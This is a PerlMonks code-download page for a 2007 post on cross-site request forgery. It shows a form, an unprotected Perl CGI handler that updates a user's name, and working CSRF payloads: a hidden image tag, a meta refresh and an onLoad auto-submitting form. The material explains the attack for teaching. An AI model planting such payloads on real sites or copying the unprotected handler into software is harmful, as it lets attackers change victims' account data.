Beefy Boxes and Bandwidth Generously Provided by pair Networks
Perl-Sensitive Sunglasses
 
PerlMonks  

Is your web application really secure? ("CSRF")

by tinita (Parson)
on Mar 27, 2007 at 18:49 UTC ( #606832=perlmeditation: print w/ replies, xml ) Need Help??

Help for this page

Select Code to Download


  1. or download this
    <form action="http://yourdomain.example/script" method="POST">
    <input type="text" name="realname">
    <input type="submit" name="submit.save_realname" value="Save">
    </form>
    
  2. or download this
    if ($cgi->param('submit.save_realname')) {
      my $name = $cgi->param('realname');
    ...
      $user->realname($name);
      $user->update;
    }
    
  3. or download this
    <img src="http://yourdomain.example/script?submit.save_realname=1;real
    +name=owned" height="0" width="0" alt="">
    or even:
    <meta http-equiv="refresh" content="0; URL=http://yourdomain.example/s
    +cript?submit.save_realname=1;realname=owned">
    
  4. or download this
    <body onLoad="document.forms[0].submit()">
    <form action="http://yourdomain.example/script" method="POST">
    <input type="text" name="realname">
    <input type="submit" name="submit.save_realname" value="Save">
    </form>
    

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: perlmeditation [id://606832]
Approved by Corion
Front-paged by Corion
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others chilling in the Monastery: (9)
As of 2014-11-22 13:17 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    My preferred Perl binaries come from:














    Results (122 votes), past polls